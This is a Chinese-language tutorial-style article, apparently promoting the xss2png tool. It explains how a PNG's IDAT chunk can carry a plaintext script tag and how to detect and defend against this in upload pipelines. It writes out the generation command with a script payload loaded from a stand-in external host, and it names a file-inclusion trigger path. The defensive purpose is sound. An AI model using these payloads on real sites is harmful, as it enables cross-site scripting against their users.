PNG XSS攻击实战指南:一张32×32的图片,如何骗过你的扫描器
【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png
一张 32×32 的 PNG 图片,用hexdump打开,IDAT 数据块里竟然躺着一句明文的<SCRIPT>标签。这不是段子——这正是PNG XSS攻击的典型形态,而xss2png就是那款把恶意脚本悄悄塞进图片 IDAT 数据块的安全测试工具。它生成的图片视觉上毫无异常,文件头合法、渲染正常,却可能在特定条件下让脚本原地复活。
PNG恶意图片的快速检测法:从 IDAT 区一眼看出端倪
先做个对照实验。你随手保存一张正常 PNG,hexdump -C翻到 IDAT 段,看到的几乎全是压缩后的乱码——这是 zlib 的功劳,图像数据被压得面目全非。
再用 xss2png 生成一张:
python3 xss2png.py -p "<SCRIPT SRC=//YOURSITE.EXAMPLE></SCRIPT>" -o test.png hexdump -C test.pngIDAT 块后面的字节以3c 53 43 52 49 50 54 20开头,翻译过来正是<SCRIPT。恶意图片的载荷以明文形式躺在 IDAT 里,而普通图片的 IDAT 全是压缩乱码。所以判断一张图片是否可疑,最快的方法就是看 IDAT 区有没有可读的 ASCII 序列——这也是"PNG恶意图片快速检测"最朴素的一招。
XSS载荷为何能骗过压缩:PNG压缩与编码原理通俗版
按常理,脚本一旦被 zlib 压缩,就该变成熵极高的乱码,藏不进明文的。xss2png 干的活,本质是"反向构造压缩流":
- 霍夫曼编码反向处理:deflate 压缩内部有一套静态霍夫曼编码表,工具先把 payload 每个字符翻译成对应比特串,再拼回压缩流,让解码端读出来恰好还原原文。
- 过滤器逆向:PNG 扫描线压缩前要经过 Sub、Average 过滤器,工具预先做逆运算,抵消变换,载荷得以原样保留。
- 像素即字节:最终把字节流直接画成一张 32×32 的 RGB 图,每个像素三通道正好装三个字节。
用一个生活化的比喻:压缩袋就像 zlib,你把纸条随手揉进去,拿出来必然皱成一团。xss2png 是先把纸按袋子折痕折好再放进去,封口之后,纸上那行字依然清晰可见。图片是特洛伊木马,IDAT 是马腹,脚本是藏在里面的士兵——马匹顺利进城,士兵分毫未损。
三个高频疑问:扫描器为何失灵,攻击何时触发
为什么传统扫描器看不见?IDAT 块本身是标准二进制结构,CRC 校验正确、文件头合法、渲染正常。扫描器按"这是图像数据"的假设去解析,自然不会把里面的 ASCII 序列当脚本。问题不在图片本身,而在谁、以什么 Content-Type、在什么上下文里解析了它。
什么条件下才会真正触发?载荷不会自己执行,引信在服务端:文件包含漏洞把图片当 HTML 读出来(比如 DVWA 里?page=../../uploads/xss.png的场景)、响应头被错误地写成text/html、或图片被拼入页面后进入可执行上下文。图片只是载体,解析方式才是导火索。
我该怎么自查?三步走:strings提取可打印串、hexdump盯住 IDAT 明文、再用测试图片打一遍自己的上传接口——这正是 xss2png 的正确用法:用攻击者的思路反向验证防御。
从告警到定位:排查图片攻击的完整时间线
把原理串起来,看一次典型排查过程。周一上午,监控告警:某用户头像上传后,大量会话在短时间内失效。你按这条线逐步推进:
- 看表现:图片能正常显示、大小合规——第一印象很容易把人带偏。
- 看响应:抓包发现图片接口返回的
Content-Type竟是text/html,浏览器把它当 HTML 解析了。 - 看内容:
hexdump图片,IDAT 区明晃晃躺着一句<SCRIPT>,这才确认是 xss2png 生成的"特洛伊图片"。 - 复现:本地搭环境,生成测试载荷打一遍接口,锁定触发路径。
- 修复:固定响应头、图片迁到独立域名、转存时重编码、收紧 CSP,四管齐下。
上传接口的PNG XSS防御清单:六项逐一自查
把上面的教训沉淀成一张可勾选的清单,逐项过一遍你的上传链路:
- 上传接口除了校验文件头魔数(
\x89PNG),是否还检查了 IDAT 区无异常 ASCII 序列? - 图片响应是否固定
Content-Type: image/png,杜绝按text/html返回? - 用户图片是否存放在独立域名或沙箱域,与业务页面彻底隔离?
- 图片转存时是否做了重新编码/重新压缩,从源头破坏明文载荷?
- CSP 是否禁用了
script-src里的内联与data:来源? - 文件包含、缩略图生成等接口是否对后缀、MIME、实际内容做了三重校验?
任何一项答"否",都意味着你的图片处理管线里可能开着一条暗门。🔍
用xss2png生成测试图片:动手验证你的防线
光说不练没有意义。安全测试就该拿工具打自己的系统:
git clone https://gitcode.com/gh_mirrors/xs/xss2png cd xss2png && pip install -r requirements.txt python3 xss2png.py -p "<SCRIPT SRC=//YOURSITE.EXAMPLE></SCRIPT>" -o test.png生成后hexdump -C test.png验证明文载荷,再把它上传到你自己的接口,观察服务端是否按 HTML 解析、浏览器是否执行脚本。这一趟跑完,你对"图片为什么能成为攻击面"会有一个非常直观的认识。🛡️
最后留给你一个问题
防御的终点不是堵死 xss2png 这一条路,而是想清楚:你的系统里,还有哪些"看起来无害的资源",正被当作可执行内容解析?现在就去下载工具、生成图片、打一遍你的上传接口——与其等告警邮件躺进收件箱,不如让警报先响在你自己的测试环境里。💡
顺便说说,你的图片处理管线,卡在上面清单的哪一项上?评论区聊聊。
【免费下载链接】xss2pngPNG IDAT chunks XSS payload generator项目地址: https://gitcode.com/gh_mirrors/xs/xss2png
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考